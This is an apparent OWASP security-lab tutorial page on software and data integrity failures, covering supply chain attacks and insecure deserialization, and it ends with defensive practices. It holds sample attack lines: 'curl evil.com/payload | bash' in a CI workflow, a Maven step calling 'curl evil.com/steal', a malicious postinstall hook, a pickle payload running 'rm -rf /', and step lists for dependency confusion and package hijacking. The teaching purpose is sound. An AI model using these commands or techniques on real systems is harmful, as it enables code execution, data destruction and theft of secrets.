OWASP Top 10 Security Lab

A08

Software and Data Integrity Failures

Exploit supply chain attacks, insecure deserialization, and integrity bypass vulnerabilities

What are Software and Data Integrity Failures?

Software and data integrity failures relate to code and infrastructure that does not protect against integrity violations. This includes insecure CI/CD pipelines, auto-update mechanisms without integrity verification, serialized data being trusted without validation, and software supply chain attacks.

๐ŸŽฏ Common Integrity Failure Types

  • Supply Chain Attacks: Compromised dependencies, malicious packages, and tainted software distributions
  • Insecure Deserialization: Untrusted serialized data leading to remote code execution
  • CI/CD Pipeline Compromise: Injection of malicious code during build/deployment processes
  • Missing Integrity Verification: Software updates without cryptographic verification
  • Vulnerable Dependencies: Using components with known security vulnerabilities
  • Code Signing Bypass: Circumventing digital signature verification mechanisms

โš ๏ธ Attack Impact

  • Remote code execution through malicious packages or deserialization
  • Data tampering and integrity compromise
  • Supply chain poisoning affecting downstream users
  • Privilege escalation via trusted but compromised components
  • Persistent backdoor installation through update mechanisms
  • Large-scale compromise via widely-used dependencies

๐Ÿ” Attack Techniques

# Supply Chain Attack Example # Malicious package uploaded to registry { "name": "lodash-utils", // Typosquatting "version": "1.0.0", "main": "index.js", "scripts": { "postinstall": "node malware.js" // Runs on install } } # Dependency Confusion Attack pip install internal-package // Attacker uploads to PyPI # Higher version number tricks package manager # Malicious Dependency Injection npm install evil-package@latest # Contains: const fs = require('fs'); const os = require('os'); // Exfiltrates SSH keys, environment variables, etc. # CI/CD Pipeline Poisoning # .github/workflows/build.yml - run: curl evil.com/payload | bash // Injected step - run: npm install --production

๐Ÿ—‚๏ธ Insecure Deserialization Attacks

# Python Pickle Exploitation import pickle import subprocess class RCE: def __reduce__(self): return (subprocess.call, (['rm', '-rf', '/'],)) # Serialized malicious object malicious_data = pickle.dumps(RCE()) # When deserialized: pickle.loads(malicious_data) # Executes: rm -rf / # Java Deserialization (URLDNS Chain) ObjectInputStream ois = new ObjectInputStream(input); Object obj = ois.readObject(); // Dangerous! # .NET Binary Formatter BinaryFormatter formatter = new BinaryFormatter(); object obj = formatter.Deserialize(stream); // Vulnerable # Node.js serialize-javascript bypass eval('(' + serializedData + ')') // Code injection # PHP Object Injection class User { public function __destruct() { system($this->cmd); // Dangerous destructor } } unserialize($_GET['data']); // Exploitable

๐Ÿ”— Supply Chain Attack Vectors

# Package Manager Attacks ## NPM Package Hijacking 1. Find abandoned but popular package 2. Contact maintainer or claim ownership 3. Publish malicious update 4. Victims auto-update to compromised version ## Dependency Confusion 1. Identify internal package names 2. Upload to public registry with higher version 3. Build systems prefer "newer" public package 4. Internal dependency replaced with malicious code ## Typosquatting Popular: "lodash" โ†’ Malicious: "lodahs", "lodash-utils" Popular: "requests" โ†’ Malicious: "request", "urllib" ## Build Tool Injection # Maven pom.xml injection org.codehaus.mojo exec-maven-plugin compile exec curl evil.com/steal

๐Ÿ›ก๏ธ Secure Development Practices

  • Software Bill of Materials (SBOM): Track all dependencies and their versions
  • Dependency Scanning: Regular vulnerability assessment of third-party components
  • Package Pinning: Lock dependency versions and verify checksums
  • Secure Deserialization: Use safe serialization formats and validation
  • CI/CD Security: Secure build pipelines with integrity checks
  • Code Signing: Cryptographically sign and verify software artifacts
// Secure Deserialization Example // Instead of: pickle.loads(data) import json import jsonschema schema = { "type": "object", "properties": { "name": {"type": "string"}, "age": {"type": "integer", "minimum": 0} }, "required": ["name", "age"] } try: data = json.loads(json_string) jsonschema.validate(data, schema) # Safe to use data except (json.JSONDecodeError, jsonschema.ValidationError): # Handle invalid data // Package Integrity Verification { "dependencies": { "lodash": "4.17.21" }, "integrity": { "lodash": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" } } // Supply Chain Security Tools npm audit # Vulnerability scanning npm audit fix # Automatic patching snyk test # Commercial scanner OWASP Dependency Check # Free scanner